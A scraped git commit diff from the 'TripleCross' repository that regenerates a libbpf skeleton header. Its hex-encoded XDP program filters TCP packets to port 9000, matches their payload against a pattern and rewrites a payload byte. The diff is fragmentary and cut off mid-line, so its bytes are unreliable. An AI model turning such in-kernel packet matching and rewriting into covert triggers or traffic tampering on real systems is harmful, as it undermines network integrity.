mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-23 01:53:06 +08:00
Finished adapting the code to tcp packets (+ researched a lot about xdp and ebpf, we should be OK with xdps, found a lot of ideas)
This commit is contained in:
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
@@ -20,8 +20,16 @@ struct xdp_filter_bpf {
|
||||
struct bpf_link *xdp_receive;
|
||||
} links;
|
||||
struct xdp_filter_bpf__rodata {
|
||||
char xdp_receive_____fmt[15];
|
||||
char xdp_receive_____fmt_1[15];
|
||||
char xdp_receive_____fmt[19];
|
||||
char xdp_receive_____fmt_1[2];
|
||||
char xdp_receive_____fmt_2[2];
|
||||
char xdp_receive_____fmt_3[2];
|
||||
char xdp_receive_____fmt_4[2];
|
||||
char xdp_receive_____fmt_5[2];
|
||||
char xdp_receive_____fmt_6[2];
|
||||
char xdp_receive_____fmt_7[54];
|
||||
char xdp_receive_____fmt_8[2];
|
||||
char xdp_receive_____fmt_9[15];
|
||||
} *rodata;
|
||||
};
|
||||
|
||||
@@ -132,137 +140,258 @@ xdp_filter_bpf__create_skeleton(struct xdp_filter_bpf *obj)
|
||||
s->progs[0].prog = &obj->progs.xdp_receive;
|
||||
s->progs[0].link = &obj->links.xdp_receive;
|
||||
|
||||
s->data_sz = 3568;
|
||||
s->data_sz = 6680;
|
||||
s->data = (void *)"\
|
||||
\x7f\x45\x4c\x46\x02\x01\x01\0\0\0\0\0\0\0\0\0\x01\0\xf7\0\x01\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\xb0\x0a\0\0\0\0\0\0\0\0\0\0\x40\0\0\0\0\0\x40\0\x0d\0\
|
||||
\x0c\0\xbf\x16\0\0\0\0\0\0\x18\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x0f\
|
||||
\0\0\0\x85\0\0\0\x06\0\0\0\xb7\0\0\0\x02\0\0\0\x61\x61\0\0\0\0\0\0\x61\x62\x04\
|
||||
\0\0\0\0\0\xbf\x13\0\0\0\0\0\0\x07\x03\0\0\x0e\0\0\0\x2d\x23\x11\0\0\0\0\0\xbf\
|
||||
\x13\0\0\0\0\0\0\x07\x03\0\0\x22\0\0\0\x2d\x23\x0e\0\0\0\0\0\xbf\x13\0\0\0\0\0\
|
||||
\0\x07\x03\0\0\x2a\0\0\0\x2d\x23\x0b\0\0\0\0\0\x71\x14\x17\0\0\0\0\0\x55\x04\
|
||||
\x09\0\x11\0\0\0\x69\x14\x24\0\0\0\0\0\x55\x04\x07\0\x13\x8d\0\0\xbf\x14\0\0\0\
|
||||
\0\0\0\x07\x04\0\0\x2e\0\0\0\x2d\x24\x04\0\0\0\0\0\x69\x12\x26\0\0\0\0\0\x55\
|
||||
\x02\x02\0\0\x0c\0\0\x71\x32\0\0\0\0\0\0\x15\x02\x01\0\x74\0\0\0\x95\0\0\0\0\0\
|
||||
\0\0\x71\x12\x2b\0\0\0\0\0\x15\x02\x01\0\x65\0\0\0\x05\0\xfc\xff\0\0\0\0\x71\
|
||||
\x12\x2c\0\0\0\0\0\x55\x02\xfa\xff\x73\0\0\0\x71\x11\x2d\0\0\0\0\0\x55\x01\xf8\
|
||||
\xff\x74\0\0\0\x18\x01\0\0\x0f\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x0f\0\0\0\x85\
|
||||
\0\0\0\x06\0\0\0\xb7\0\0\0\x01\0\0\0\x05\0\xf2\xff\0\0\0\0\x44\x75\x61\x6c\x20\
|
||||
\x42\x53\x44\x2f\x47\x50\x4c\0\x42\x50\x46\x20\x74\x72\x69\x67\x67\x65\x72\x65\
|
||||
\x64\x0a\0\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\x65\x64\x0a\x20\0\x9f\xeb\
|
||||
\x01\0\x18\0\0\0\0\0\0\0\x74\x01\0\0\x74\x01\0\0\xa3\x02\0\0\0\0\0\0\0\0\0\x02\
|
||||
\x02\0\0\0\x01\0\0\0\x06\0\0\x04\x18\0\0\0\x08\0\0\0\x03\0\0\0\0\0\0\0\x0d\0\0\
|
||||
\0\x03\0\0\0\x20\0\0\0\x16\0\0\0\x03\0\0\0\x40\0\0\0\x20\0\0\0\x03\0\0\0\x60\0\
|
||||
\0\0\x30\0\0\0\x03\0\0\0\x80\0\0\0\x3f\0\0\0\x03\0\0\0\xa0\0\0\0\x4e\0\0\0\0\0\
|
||||
\0\x08\x04\0\0\0\x54\0\0\0\0\0\0\x01\x04\0\0\0\x20\0\0\0\0\0\0\0\x01\0\0\x0d\
|
||||
\x06\0\0\0\x61\0\0\0\x01\0\0\0\x65\0\0\0\0\0\0\x01\x04\0\0\0\x20\0\0\x01\x69\0\
|
||||
\0\0\x01\0\0\x0c\x05\0\0\0\x48\x02\0\0\0\0\0\x01\x01\0\0\0\x08\0\0\x01\0\0\0\0\
|
||||
\0\0\0\x03\0\0\0\0\x08\0\0\0\x0a\0\0\0\x0d\0\0\0\x4d\x02\0\0\0\0\0\x01\x04\0\0\
|
||||
\0\x20\0\0\0\x61\x02\0\0\0\0\0\x0e\x09\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\x0a\x08\0\
|
||||
\0\0\0\0\0\0\0\0\0\x03\0\0\0\0\x0c\0\0\0\x0a\0\0\0\x0f\0\0\0\x69\x02\0\0\0\0\0\
|
||||
\x0e\x0d\0\0\0\0\0\0\0\x7d\x02\0\0\0\0\0\x0e\x0d\0\0\0\0\0\0\0\x93\x02\0\0\x02\
|
||||
\0\0\x0f\0\0\0\0\x0e\0\0\0\0\0\0\0\x0f\0\0\0\x0f\0\0\0\x0f\0\0\0\x0f\0\0\0\x9b\
|
||||
\x02\0\0\x01\0\0\x0f\0\0\0\0\x0b\0\0\0\0\0\0\0\x0d\0\0\0\0\x78\x64\x70\x5f\x6d\
|
||||
\x64\0\x64\x61\x74\x61\0\x64\x61\x74\x61\x5f\x65\x6e\x64\0\x64\x61\x74\x61\x5f\
|
||||
\x6d\x65\x74\x61\0\x69\x6e\x67\x72\x65\x73\x73\x5f\x69\x66\x69\x6e\x64\x65\x78\
|
||||
\0\x72\x78\x5f\x71\x75\x65\x75\x65\x5f\x69\x6e\x64\x65\x78\0\x65\x67\x72\x65\
|
||||
\x73\x73\x5f\x69\x66\x69\x6e\x64\x65\x78\0\x5f\x5f\x75\x33\x32\0\x75\x6e\x73\
|
||||
\x69\x67\x6e\x65\x64\x20\x69\x6e\x74\0\x63\x74\x78\0\x69\x6e\x74\0\x78\x64\x70\
|
||||
\x5f\x72\x65\x63\x65\x69\x76\x65\0\x78\x64\x70\x5f\x70\x72\x6f\x67\0\x2f\x68\
|
||||
\x6f\x6d\x65\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\
|
||||
\x2f\x65\x62\x70\x66\x2f\x78\x64\x70\x5f\x66\x69\x6c\x74\x65\x72\x2e\x62\x70\
|
||||
\x66\x2e\x63\0\x69\x6e\x74\x20\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x28\
|
||||
\x73\x74\x72\x75\x63\x74\x20\x78\x64\x70\x5f\x6d\x64\x20\x2a\x63\x74\x78\x29\0\
|
||||
\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x50\x46\
|
||||
\x20\x74\x72\x69\x67\x67\x65\x72\x65\x64\x5c\x6e\x22\x29\x3b\0\x20\x20\x20\x20\
|
||||
\x76\x6f\x69\x64\x20\x2a\x64\x61\x74\x61\x20\x3d\x20\x28\x76\x6f\x69\x64\x20\
|
||||
\x2a\x29\x28\x6c\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x3b\0\x20\
|
||||
\x20\x20\x20\x76\x6f\x69\x64\x20\x2a\x64\x61\x74\x61\x5f\x65\x6e\x64\x20\x3d\
|
||||
\x20\x28\x76\x6f\x69\x64\x20\x2a\x29\x28\x6c\x6f\x6e\x67\x29\x63\x74\x78\x2d\
|
||||
\x3e\x64\x61\x74\x61\x5f\x65\x6e\x64\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\x28\
|
||||
\x76\x6f\x69\x64\x20\x2a\x29\x65\x74\x68\x20\x2b\x20\x73\x69\x7a\x65\x6f\x66\
|
||||
\x28\x2a\x65\x74\x68\x29\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\0\x20\
|
||||
\x20\x20\x20\x69\x66\x20\x28\x69\x70\x2d\x3e\x70\x72\x6f\x74\x6f\x63\x6f\x6c\
|
||||
\x20\x21\x3d\x20\x49\x50\x50\x52\x4f\x54\x4f\x5f\x55\x44\x50\x29\0\x20\x20\x20\
|
||||
\x20\x69\x66\x20\x28\x75\x64\x70\x2d\x3e\x64\x65\x73\x74\x20\x21\x3d\x20\x6e\
|
||||
\x74\x6f\x68\x73\x28\x35\x30\x30\x35\x29\x29\0\x20\x20\x20\x20\x69\x66\x20\x28\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\xd8\x16\0\0\0\0\0\0\0\0\0\0\x40\0\0\0\0\0\x40\0\x0d\0\
|
||||
\x0c\0\x61\x12\x04\0\0\0\0\0\x61\x11\0\0\0\0\0\0\xbf\x13\0\0\0\0\0\0\x07\x03\0\
|
||||
\0\x0e\0\0\0\x2d\x23\x3e\0\0\0\0\0\x3d\x32\x04\0\0\0\0\0\x18\x01\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\xb7\x02\0\0\x13\0\0\0\x05\0\x38\0\0\0\0\0\xbf\x16\0\0\0\0\0\0\
|
||||
\x07\x06\0\0\x22\0\0\0\x3d\x62\x03\0\0\0\0\0\x18\x01\0\0\x13\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\x05\0\x31\0\0\0\0\0\x71\x13\x17\0\0\0\0\0\x15\x03\x03\0\x06\0\0\0\x18\x01\
|
||||
\0\0\x15\0\0\0\0\0\0\0\0\0\0\0\x05\0\x2c\0\0\0\0\0\xbf\x13\0\0\0\0\0\0\x07\x03\
|
||||
\0\0\x36\0\0\0\x3d\x32\x03\0\0\0\0\0\x18\x01\0\0\x17\0\0\0\0\0\0\0\0\0\0\0\x05\
|
||||
\0\x26\0\0\0\0\0\x69\x13\x24\0\0\0\0\0\x15\x03\x03\0\x23\x28\0\0\x18\x01\0\0\
|
||||
\x19\0\0\0\0\0\0\0\0\0\0\0\x05\0\x21\0\0\0\0\0\x69\x13\x2e\0\0\0\0\0\x77\x03\0\
|
||||
\0\x02\0\0\0\x57\x03\0\0\x3c\0\0\0\x69\x14\x10\0\0\0\0\0\xdc\x04\0\0\x10\0\0\0\
|
||||
\x1f\x34\0\0\0\0\0\0\x71\x11\x0e\0\0\0\0\0\x67\x01\0\0\x02\0\0\0\x57\x01\0\0\
|
||||
\x3c\0\0\0\x1f\x14\0\0\0\0\0\0\x15\x04\x03\0\x04\0\0\0\x18\x01\0\0\x1b\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\x05\0\x13\0\0\0\0\0\x0f\x36\0\0\0\0\0\0\xbf\x61\0\0\0\0\0\0\x07\
|
||||
\x01\0\0\x04\0\0\0\x3d\x12\x03\0\0\0\0\0\x18\x01\0\0\x1d\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\x05\0\x0c\0\0\0\0\0\x18\x01\0\0\x1f\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x36\0\0\
|
||||
\0\xbf\x63\0\0\0\0\0\0\xb7\x04\0\0\x04\0\0\0\x85\0\0\0\x06\0\0\0\x71\x61\0\0\0\
|
||||
\0\0\0\x55\x01\x02\0\x74\0\0\0\x71\x61\x01\0\0\0\0\0\x15\x01\x06\0\x65\0\0\0\
|
||||
\x18\x01\0\0\x55\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x02\0\0\0\x85\0\0\0\x06\0\0\
|
||||
\0\xb7\0\0\0\x02\0\0\0\x95\0\0\0\0\0\0\0\x71\x61\x02\0\0\0\0\0\x55\x01\xf8\xff\
|
||||
\x73\0\0\0\x71\x61\x03\0\0\0\0\0\x55\x01\xf6\xff\x74\0\0\0\x18\x01\0\0\x57\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x0f\0\0\0\x85\0\0\0\x06\0\0\0\xb7\x01\0\0\x62\0\
|
||||
\0\0\x73\x16\x01\0\0\0\0\0\x05\0\xf3\xff\0\0\0\0\x44\x75\x61\x6c\x20\x42\x53\
|
||||
\x44\x2f\x47\x50\x4c\0\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x66\x61\
|
||||
\x69\x6c\x20\x41\0\x42\0\x43\0\x44\0\x45\0\x46\0\x47\0\x52\x65\x63\x65\x69\x76\
|
||||
\x65\x64\x20\x76\x61\x6c\x69\x64\x20\x54\x43\x50\x20\x70\x61\x63\x6b\x65\x74\
|
||||
\x20\x77\x69\x74\x68\x20\x70\x61\x79\x6c\x6f\x61\x64\x20\x25\x73\x20\x6f\x66\
|
||||
\x20\x73\x69\x7a\x65\x20\x25\x69\x0a\0\x48\0\x42\x50\x46\x20\x66\x69\x6e\x69\
|
||||
\x73\x68\x65\x64\x0a\x20\0\x9f\xeb\x01\0\x18\0\0\0\0\0\0\0\x9c\x02\0\0\x9c\x02\
|
||||
\0\0\x76\x05\0\0\0\0\0\0\0\0\0\x02\x02\0\0\0\x01\0\0\0\x06\0\0\x04\x18\0\0\0\
|
||||
\x08\0\0\0\x03\0\0\0\0\0\0\0\x0d\0\0\0\x03\0\0\0\x20\0\0\0\x16\0\0\0\x03\0\0\0\
|
||||
\x40\0\0\0\x20\0\0\0\x03\0\0\0\x60\0\0\0\x30\0\0\0\x03\0\0\0\x80\0\0\0\x3f\0\0\
|
||||
\0\x03\0\0\0\xa0\0\0\0\x4e\0\0\0\0\0\0\x08\x04\0\0\0\x54\0\0\0\0\0\0\x01\x04\0\
|
||||
\0\0\x20\0\0\0\0\0\0\0\x01\0\0\x0d\x06\0\0\0\x61\0\0\0\x01\0\0\0\x65\0\0\0\0\0\
|
||||
\0\x01\x04\0\0\0\x20\0\0\x01\x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0\0\x12\0\0\0\x17\0\0\0\x02\0\0\0\x13\0\0\0\x19\0\0\0\x02\0\0\0\x14\0\0\0\x1b\
|
||||
\0\0\0\x02\0\0\0\x15\0\0\0\x1d\0\0\0\x02\0\0\0\x17\0\0\0\x1f\0\0\0\x36\0\0\0\
|
||||
\x18\0\0\0\x55\0\0\0\x02\0\0\0\x1a\0\0\0\x57\0\0\0\x0f\0\0\0\x6e\x05\0\0\x01\0\
|
||||
\0\x0f\0\0\0\0\x0b\0\0\0\0\0\0\0\x0d\0\0\0\0\x78\x64\x70\x5f\x6d\x64\0\x64\x61\
|
||||
\x74\x61\0\x64\x61\x74\x61\x5f\x65\x6e\x64\0\x64\x61\x74\x61\x5f\x6d\x65\x74\
|
||||
\x61\0\x69\x6e\x67\x72\x65\x73\x73\x5f\x69\x66\x69\x6e\x64\x65\x78\0\x72\x78\
|
||||
\x5f\x71\x75\x65\x75\x65\x5f\x69\x6e\x64\x65\x78\0\x65\x67\x72\x65\x73\x73\x5f\
|
||||
\x69\x66\x69\x6e\x64\x65\x78\0\x5f\x5f\x75\x33\x32\0\x75\x6e\x73\x69\x67\x6e\
|
||||
\x65\x64\x20\x69\x6e\x74\0\x63\x74\x78\0\x69\x6e\x74\0\x78\x64\x70\x5f\x72\x65\
|
||||
\x63\x65\x69\x76\x65\0\x78\x64\x70\x5f\x70\x72\x6f\x67\0\x2f\x68\x6f\x6d\x65\
|
||||
\x2f\x6f\x73\x62\x6f\x78\x65\x73\x2f\x54\x46\x47\x2f\x73\x72\x63\x2f\x65\x62\
|
||||
\x70\x66\x2f\x78\x64\x70\x5f\x66\x69\x6c\x74\x65\x72\x2e\x62\x70\x66\x2e\x63\0\
|
||||
\x20\x20\x20\x20\x76\x6f\x69\x64\x20\x2a\x64\x61\x74\x61\x5f\x65\x6e\x64\x20\
|
||||
\x3d\x20\x28\x76\x6f\x69\x64\x20\x2a\x29\x28\x6c\x6f\x6e\x67\x29\x63\x74\x78\
|
||||
\x2d\x3e\x64\x61\x74\x61\x5f\x65\x6e\x64\x3b\0\x20\x20\x20\x20\x76\x6f\x69\x64\
|
||||
\x20\x2a\x64\x61\x74\x61\x20\x3d\x20\x28\x76\x6f\x69\x64\x20\x2a\x29\x28\x6c\
|
||||
\x6f\x6e\x67\x29\x63\x74\x78\x2d\x3e\x64\x61\x74\x61\x3b\0\x20\x20\x20\x20\x69\
|
||||
\x66\x20\x28\x28\x76\x6f\x69\x64\x20\x2a\x29\x65\x74\x68\x20\x2b\x20\x73\x69\
|
||||
\x7a\x65\x6f\x66\x28\x2a\x65\x74\x68\x29\x20\x3e\x20\x64\x61\x74\x61\x5f\x65\
|
||||
\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x69\x66\x28\x65\x74\x68\x65\x72\x6e\x65\x74\
|
||||
\x5f\x68\x65\x61\x64\x65\x72\x5f\x62\x6f\x75\x6e\x64\x5f\x63\x68\x65\x63\x6b\
|
||||
\x28\x65\x74\x68\x2c\x20\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x3c\x30\x29\x7b\0\
|
||||
\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\
|
||||
\x22\x42\x6f\x75\x6e\x64\x20\x63\x68\x65\x63\x6b\x20\x66\x61\x69\x6c\x20\x41\
|
||||
\x22\x29\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\x28\x76\x6f\x69\x64\x20\x2a\x29\
|
||||
\x69\x70\x20\x2b\x20\x73\x69\x7a\x65\x6f\x66\x28\x2a\x69\x70\x29\x20\x3e\x20\
|
||||
\x64\x61\x74\x61\x5f\x65\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\
|
||||
\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x22\x29\x3b\0\x20\x20\x20\x20\
|
||||
\x69\x66\x20\x28\x69\x70\x2d\x3e\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x21\x3d\
|
||||
\x20\x49\x50\x50\x52\x4f\x54\x4f\x5f\x54\x43\x50\x29\x7b\0\x20\x20\x20\x20\x20\
|
||||
\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x43\x22\x29\x3b\0\
|
||||
\x20\x20\x20\x20\x69\x66\x20\x28\x28\x76\x6f\x69\x64\x20\x2a\x29\x74\x63\x70\
|
||||
\x20\x2b\x20\x73\x69\x7a\x65\x6f\x66\x28\x2a\x74\x63\x70\x29\x20\x3e\x20\x64\
|
||||
\x61\x74\x61\x5f\x65\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\
|
||||
\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x44\x22\x29\x3b\0\x20\x20\x20\x20\x69\
|
||||
\x66\x20\x28\x74\x63\x70\x2d\x3e\x64\x65\x73\x74\x20\x21\x3d\x20\x6e\x74\x6f\
|
||||
\x68\x73\x28\x39\x30\x30\x30\x29\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\
|
||||
\x70\x66\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x45\x22\x29\x3b\0\x20\x20\x20\x20\
|
||||
\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x3d\x20\x6e\x74\x6f\x68\
|
||||
\x73\x28\x69\x70\x2d\x3e\x74\x6f\x74\x5f\x6c\x65\x6e\x29\x20\x2d\x20\x28\x74\
|
||||
\x63\x70\x2d\x3e\x64\x6f\x66\x66\x20\x2a\x20\x34\x29\x20\x2d\x20\x28\x69\x70\
|
||||
\x2d\x3e\x69\x68\x6c\x20\x2a\x20\x34\x29\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\
|
||||
\x70\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x21\x3d\x20\x73\x69\x7a\
|
||||
\x65\x6f\x66\x28\x6d\x61\x74\x63\x68\x5f\x70\x61\x74\x74\x65\x72\x6e\x29\x20\
|
||||
\x2d\x20\x31\x29\x20\0\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x70\x61\
|
||||
\x79\x6c\x6f\x61\x64\x5b\x69\x5d\x20\x21\x3d\x20\x6d\x61\x74\x63\x68\x5f\x70\
|
||||
\x61\x74\x74\x65\x72\x6e\x5b\x69\x5d\x29\0\x7d\0\x20\x20\x20\x20\x62\x70\x66\
|
||||
\x5f\x70\x72\x69\x6e\x74\x6b\x28\x22\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\
|
||||
\x65\x64\x5c\x6e\x20\x22\x29\x3b\0\x63\x68\x61\x72\0\x5f\x5f\x41\x52\x52\x41\
|
||||
\x59\x5f\x53\x49\x5a\x45\x5f\x54\x59\x50\x45\x5f\x5f\0\x4c\x49\x43\x45\x4e\x53\
|
||||
\x45\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\
|
||||
\x74\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\
|
||||
\x74\x2e\x31\0\x2e\x72\x6f\x64\x61\x74\x61\0\x6c\x69\x63\x65\x6e\x73\x65\0\x9f\
|
||||
\xeb\x01\0\x20\0\0\0\0\0\0\0\x14\0\0\0\x14\0\0\0\x4c\x01\0\0\x60\x01\0\0\0\0\0\
|
||||
\0\x08\0\0\0\x75\0\0\0\x01\0\0\0\0\0\0\0\x07\0\0\0\x10\0\0\0\x75\0\0\0\x14\0\0\
|
||||
\0\0\0\0\0\x7e\0\0\0\xaa\0\0\0\0\xcc\0\0\x08\0\0\0\x7e\0\0\0\xce\0\0\0\x05\xd4\
|
||||
\0\0\x30\0\0\0\x7e\0\0\0\xf1\0\0\0\x25\xe0\0\0\x38\0\0\0\x7e\0\0\0\x1b\x01\0\0\
|
||||
\x29\xdc\0\0\x40\0\0\0\x7e\0\0\0\x4d\x01\0\0\x15\x1c\x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\0\0\x20\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x30\
|
||||
\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x40\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x50\
|
||||
\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x60\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x70\
|
||||
\x01\0\0\0\0\0\0\0\0\0\0\x06\0\0\0\x0f\x0e\x05\x06\0\x2e\x74\x65\x78\x74\0\x2e\
|
||||
\x72\x65\x6c\x2e\x42\x54\x46\x2e\x65\x78\x74\0\x78\x64\x70\x5f\x72\x65\x63\x65\
|
||||
\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\0\x2e\x72\x65\x6c\x78\x64\x70\x5f\
|
||||
\x70\x72\x6f\x67\0\x2e\x6c\x6c\x76\x6d\x5f\x61\x64\x64\x72\x73\x69\x67\0\x78\
|
||||
\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\0\x6c\x69\x63\x65\x6e\x73\x65\0\x2e\
|
||||
\x73\x74\x72\x74\x61\x62\0\x2e\x73\x79\x6d\x74\x61\x62\0\x2e\x72\x6f\x64\x61\
|
||||
\x74\x61\0\x2e\x72\x65\x6c\x2e\x42\x54\x46\0\x4c\x49\x43\x45\x4e\x53\x45\0\x4c\
|
||||
\x42\x42\x30\x5f\x39\0\x4c\x42\x42\x30\x5f\x37\0\x78\x64\x70\x5f\x72\x65\x63\
|
||||
\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\0\x4c\x42\x42\x30\x5f\
|
||||
\x31\x30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x01\0\0\
|
||||
\0\x06\0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\0\x09\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\x60\x08\0\0\0\0\0\0\x20\0\0\0\0\0\0\0\x07\0\0\0\x02\0\0\0\
|
||||
\x08\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\x6f\0\0\0\x09\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\x80\x08\0\0\0\0\0\0\x30\0\0\0\0\0\0\0\x07\0\0\0\x05\0\0\0\x08\0\0\0\
|
||||
\0\0\0\0\x10\0\0\0\0\0\0\0\x07\0\0\0\x09\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\xb0\x08\0\0\0\0\0\0\x50\x01\0\0\0\0\0\0\x07\0\0\0\x06\0\0\0\x08\0\0\0\0\0\0\0\
|
||||
\x10\0\0\0\0\0\0\0\x35\0\0\0\x03\x4c\xff\x6f\0\0\0\x80\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\x0a\0\0\0\0\0\0\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\x57\0\0\0\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x04\x0a\0\0\0\0\0\
|
||||
\0\xac\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
|
||||
\x2d\x20\x31\x29\x20\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\
|
||||
\x72\x69\x6e\x74\x6b\x28\x22\x46\x22\x29\x3b\0\x20\x20\x20\x20\x69\x66\x20\x28\
|
||||
\x28\x76\x6f\x69\x64\x20\x2a\x29\x70\x61\x79\x6c\x6f\x61\x64\x20\x2b\x20\x70\
|
||||
\x61\x79\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x20\x3e\x20\x64\x61\x74\x61\x5f\
|
||||
\x65\x6e\x64\x29\x7b\0\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\
|
||||
\x69\x6e\x74\x6b\x28\x22\x47\x22\x29\x3b\0\x20\x20\x20\x20\x62\x70\x66\x5f\x70\
|
||||
\x72\x69\x6e\x74\x6b\x28\x22\x52\x65\x63\x65\x69\x76\x65\x64\x20\x76\x61\x6c\
|
||||
\x69\x64\x20\x54\x43\x50\x20\x70\x61\x63\x6b\x65\x74\x20\x77\x69\x74\x68\x20\
|
||||
\x70\x61\x79\x6c\x6f\x61\x64\x20\x25\x73\x20\x6f\x66\x20\x73\x69\x7a\x65\x20\
|
||||
\x25\x69\x5c\x6e\x22\x2c\x20\x70\x61\x79\x6c\x6f\x61\x64\x2c\x20\x70\x61\x79\
|
||||
\x6c\x6f\x61\x64\x5f\x73\x69\x7a\x65\x29\x3b\0\x20\x20\x20\x20\x20\x20\x20\x20\
|
||||
\x69\x66\x20\x28\x70\x61\x79\x6c\x6f\x61\x64\x5b\x69\x5d\x20\x21\x3d\x20\x6d\
|
||||
\x61\x74\x63\x68\x5f\x70\x61\x74\x74\x65\x72\x6e\x5b\x69\x5d\x29\x7b\0\x20\x20\
|
||||
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\x69\x6e\x74\
|
||||
\x6b\x28\x22\x48\x22\x29\x3b\0\x7d\0\x20\x20\x20\x20\x62\x70\x66\x5f\x70\x72\
|
||||
\x69\x6e\x74\x6b\x28\x22\x42\x50\x46\x20\x66\x69\x6e\x69\x73\x68\x65\x64\x5c\
|
||||
\x6e\x20\x22\x29\x3b\0\x20\x20\x20\x20\x70\x61\x79\x6c\x6f\x61\x64\x5b\x31\x5d\
|
||||
\x20\x3d\x20\x27\x62\x27\x3b\0\x63\x68\x61\x72\0\x5f\x5f\x41\x52\x52\x41\x59\
|
||||
\x5f\x53\x49\x5a\x45\x5f\x54\x59\x50\x45\x5f\x5f\0\x4c\x49\x43\x45\x4e\x53\x45\
|
||||
\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\
|
||||
\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\
|
||||
\x2e\x31\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\
|
||||
\x6d\x74\x2e\x32\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\
|
||||
\x5f\x66\x6d\x74\x2e\x33\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\
|
||||
\x5f\x5f\x5f\x66\x6d\x74\x2e\x34\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\
|
||||
\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x35\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\
|
||||
\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x36\0\x78\x64\x70\x5f\x72\x65\x63\
|
||||
